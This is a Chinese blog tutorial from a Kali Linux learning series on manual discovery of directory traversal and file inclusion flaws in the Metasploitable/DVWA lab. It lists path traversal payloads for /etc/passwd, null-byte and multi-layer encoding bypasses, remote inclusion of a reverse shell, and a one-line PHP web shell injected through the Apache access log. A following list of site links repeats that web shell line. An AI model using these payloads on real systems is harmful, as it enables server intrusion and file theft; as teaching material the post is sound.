小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘
漏洞类型
#Directory traversal 目录遍历【本台机器操作系统上文件进行读取】
使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录【默认为:/var/www/】之外的其他操作系统文件(如:/etc/passwd/)。形成根源:目录权限限制不严格
#File include文件包含【1、include本地文件包含LFI;2、远程系统文件包含RFI(可传入木马)】
通常为如include函数,可以将web根目录以外的目录包含进来。根源:include函数对输入变量限制不严
#此两种漏洞类型的利用方法和实现效果完全相同。
注:kali中默认集成一些攻击向量字典,/usr/share/wfuzz/wordlist/vulns
##################################################################
默认情况下, metasploitable只有文件包含漏洞,没用远程文件包含漏洞
#修改metasploitable配置文件
sudo vi /etc/php5/cgi/php.ini
/allow_url 搜索
sudo /etc/init.d/apache2 restart 重启apache服务
##########################################################################
漏洞利用
首先,观察特点、特征等【如:?page=a.php ?home=b.html ?file=content】;然后是表单或者URL地址
经典测试方法
/etc/passwd/ 一个普通用户也可以读取的文件,常用于测试
1、?file=../../../../etc/password
解析:无论是windows系统还是linux,都有两个特殊目录
. 表示当前目录
../ 表示当前目录的父目录(上一级目录)
“../” 越多越好,是因为可以此跳转到根目录
#也可以直接使用绝对路径?page=/etc/passwd,但是目录遍历漏洞不使用,需使用“../”
2、?page=file:///etc/passwd【文件系统访问,file后面要求是绝对路径】/etc/passwd
3、?home=main.cgi【源码内容/配置信息等】
4、?page=http://www.a.com/1.php(包含其他网页文件)【远程文件包含】
可自己做一个web server,在上面放置一个反弹shell
?page=http://1.1.1.1/../../../../dir/file.txt
编码绕过字符过滤
当提示:找不到***文件,则应该可以判断有过滤机制
在php5.3之前,存在这种绕过限制
“.” “%00”(通俗有效,表示控制符)【在php语言格式,当遇到%00,则忽略其后面的内容】
例如:?flie=a.doc%00.php
使用多种编码尝试【每个字符都可以做编码尝试,通常来说,128以下的ASCII码都不会被过滤】
特殊字符:"." "/" #英文字符肯定不会被过滤
######################################################################
#不同操作系统的路径特征字符
#类UNIX系统
根目录:/
目录层级分隔符:/
#windows系统
C:\
\或/
######################################################################
编码
最常用:URL编码【若一层编码不足以绕过,可使用双层或多层URL编码,前提:密文能被服务器解码】
目的:目标服务器能正常地对编码进行解码,并且能查看想查看的内容,同时能够绕过
%2e%2e%2f 解码 ../
%2e%2e%5c 解码 ..\
%252e%252e%255c 解码 ..\ 【双层编码:特殊字符%被编码为%25】
Unicode/UTF-8 【非英文字符编码】
..%c0%af 解码 ../
..%u2216
..%c1%9c 解码 ..\
#可使用在线工具
######################################################################################
其他系统路径可能使用到的字符
• file.txt...
• file.txt<spaces> #空格
• file.txt” ””
• file.txt<<<>>><
• ./././file.txt
• nonexistant/../file.txt #输入一个不存在的目录【很多操作系统已经过滤】
UNC路径【windows系统文件共享】
• \\1.1.1.1\path\to\file.txt
注:可提前将常见的字符单个编码,在两两或任意组合,形成一个字典文件,利用burpsuite中的intruder进行攻击可提高效率
######################################################################################
特例:无法从URL中查看任何迹象,其位于http请求头中的cookie
代码:
攻击:【注入位置为cookie信息】
结果:
注:任何变量都要进行验证
##########################################################################################
实例演示
本地文件包含LFI
查看文件
代码执行【特殊情况下:通过服务器的访问日志,实现代码注入】
<?php echo shell_exec($_GET['cmd']);?>
Apache access.log 【前提:其他用户对该文件有读取权限】
然后在浏览器中访问该文件
?page=/var/log/apache2/access.log
#############################################################################
注:Linux系统中,当你对一个文件赋予了权限的同时,要保证其层级目录也被赋予的相同的权限
#############################################################################
远程文件包含RFI【相对本地包含,机率较低】
验证:
危害:
低等级
中等级
绕过思路【只过滤一次】
1、编码
2、混插字符
高等级限制
小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含的更多相关文章
- 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记33:kali渗透测试之Web渗透-扫描工具-Burpsuite(一)
扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力 ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
- 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
- 小白日记50:kali渗透测试之Web渗透-CSRF
CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...
随机推荐
- Tsinsen A1219. 采矿(陈许旻) (树链剖分,线段树 + DP)
[题目链接] http://www.tsinsen.com/A1219 [题意] 给定一棵树,a[u][i]代表u结点分配i人的收益,可以随时改变a[u],查询(u,v)代表在u子树的所有节点,在u- ...
- Java学习笔记(3)
“当你定义出一组类的父型时,你可以用子型的任何类来填补任何需要或期待父型的位置” “运用多态时,引用类型可以是实际对象类型的父类”Animal myDog = new Dog(); 三种方法可以防止某 ...
- Javascript手记-执行环境和作用域
执行环境是javascript一个重要的概念,执行环境定义了变量有权访问其他数据决定了他们各自的行为,每个执行环境 都有一个与之关联的变量,环境中定义的所有变量和函数都保存在这个对象中,虽然我们编写的 ...
- Java设计模式系列之迭代器模式
迭代器模式定义 迭代器模式(Iterator),提供一种方法顺序访问一个聚合对象中的各种元素,而又不暴露该对象的内部表示. 迭代器模式的角色构成 (1)迭代器角色(Iterator):定义遍历元素所需 ...
- 【转】使用Auto Layout中的VFL(Visual format language)--代码实现自动布局
本文将通过简单的UI来说明如何用VFL来实现自动布局.在自动布局的时候避免不了使用代码来加以优化以及根据内容来实现不同的UI. 一:API介绍 NSLayoutConstraint API 1 2 3 ...
- hdu 1443 Joseph (约瑟夫环)
Joseph Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Subm ...
- jQuery基础学习3——jQuery库冲突
默认情况下,jQuery用$作为自身的快捷方式. jQuery库在其他库之后导入 在其他库和jQuery库都被加载完毕后,可以在任何时候调用jQuery.noConflict()函数来将变量$的控制权 ...
- Session,Cookie 和local storage的区别
以前从没有听说过local storage, 在网上查了一些资料,得到如下结论 从存储位置看,分为服务器端存储和客户端存储两种 服务器端: session 浏览器端: cookie, localSto ...
- pymol编译
https://pymolwiki.org/index.php/Linux_Install
- IIS6的SSL配置,如何配置SSL到登陆页,如何将SSL证书设置成受信任的证书
一. 申请证书1. 到受信任的机构申请 略 2. 到自建的证书服务器申请 a. 安装证书服务 通过控制面板中的“添加/删除程序”,选择“添加/删除Windows组件”.在Windows组件向导中找到“ ...